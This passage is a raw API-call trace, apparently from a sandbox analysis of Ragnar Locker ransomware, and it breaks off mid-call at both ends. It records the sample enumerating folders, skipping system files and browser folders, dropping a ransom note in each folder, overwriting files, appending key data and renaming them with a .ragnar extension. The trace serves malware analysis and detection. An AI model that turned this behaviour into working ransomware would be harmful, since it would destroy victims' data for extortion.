ftCreationTime.dwLowDateTime=0x7deab8a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7deab8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.465] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.465] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0073.465] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\RGNR_FD7BD9FC.txt") returned=".txt" [0073.465] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0073.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.465] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.465] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0073.465] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned=".PNG" [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0073.465] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0073.465] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0073.465] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0073.465] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0073.465] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0073.465] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0073.465] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0073.465] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0073.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0073.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.466] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=32433) returned 1 [0073.466] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7ea8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.466] GetProcessHeap () returned 0x580000 [0073.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.466] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.467] VirtualAlloc (lpAddress=0x0, dwSize=0x7eb1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.467] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.467] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.468] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7eb1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7eb1, lpOverlapped=0x0) returned 1 [0073.469] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.469] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7eb1, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.469] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7eb1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7eb1, lpOverlapped=0x0) returned 1 [0073.469] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7eb1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.469] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.470] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7eb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.470] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.470] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.470] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.470] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.470] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.470] GetProcessHeap () returned 0x580000 [0073.470] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.470] CloseHandle (hObject=0x10c) returned 1 [0073.471] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" [0073.471] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0073.471] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.472] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2=".") returned 1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="..") returned 1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="Windows") returned -1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="Windows.old") returned -1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="Tor browser") returned -1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="Internet Explorer") returned -1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="Google") returned -1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="Opera") returned -1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="Opera Software") returned -1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="Mozilla") returned -1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="Mozilla Firefox") returned -1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="$Recycle.Bin") returned 1 [0073.472] lstrcmpiW (lpString1="EXPEDITN", lpString2="ProgramData") returned -1 [0073.473] lstrcmpiW (lpString1="EXPEDITN", lpString2="All Users") returned 1 [0073.473] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0073.473] lstrcpyW (in: lpString1=0x1eb638, lpString2="EXPEDITN" | out: lpString1="EXPEDITN") returned="EXPEDITN" [0073.473] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\" [0073.473] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\" [0073.473] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\RGNR_FD7BD9FC.txt" [0073.473] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0073.475] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*" [0073.475] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.475] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.475] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.475] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e09aa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e09aa80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.475] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0073.475] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e09aa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e09aa80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.475] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0073.475] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0073.475] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0073.475] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2=".") returned 1 [0073.475] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="..") returned 1 [0073.475] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0073.475] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2=".") returned 1 [0073.476] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="..") returned 1 [0073.476] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.476] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0073.476] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0073.476] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e09aa80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e09aa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.476] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0073.476] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0073.476] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.476] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0073.476] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0073.476] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.476] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.476] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e09aa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e09aa80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.476] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e09aa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e09aa80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.476] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0073.476] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.476] lstrcpyW (in: lpString1=0x1eab72, lpString2="EXPEDITN.ELM" | out: lpString1="EXPEDITN.ELM") returned="EXPEDITN.ELM" [0073.476] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned=".ELM" [0073.476] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.476] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="autorun.inf") returned 1 [0073.476] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="boot.ini") returned 1 [0073.476] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="bootfont.bin") returned 1 [0073.476] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="bootsect.bak") returned 1 [0073.476] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="bootmgr") returned 1 [0073.476] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="bootmgr.efi") returned 1 [0073.476] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="bootmgfw.efi") returned 1 [0073.477] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="desktop.ini") returned 1 [0073.477] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="iconcache.db") returned -1 [0073.477] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="ntldr") returned -1 [0073.477] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="ntuser.dat") returned -1 [0073.477] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="ntuser.dat.log") returned -1 [0073.477] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="ntuser.ini") returned -1 [0073.477] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="thumbs.db") returned -1 [0073.477] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0073.477] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0073.477] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0073.477] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0073.477] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0073.477] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0073.477] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0073.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm")) returned 0x20 [0073.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0073.477] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=103737) returned 1 [0073.477] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x19530, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.477] GetProcessHeap () returned 0x580000 [0073.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.477] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, 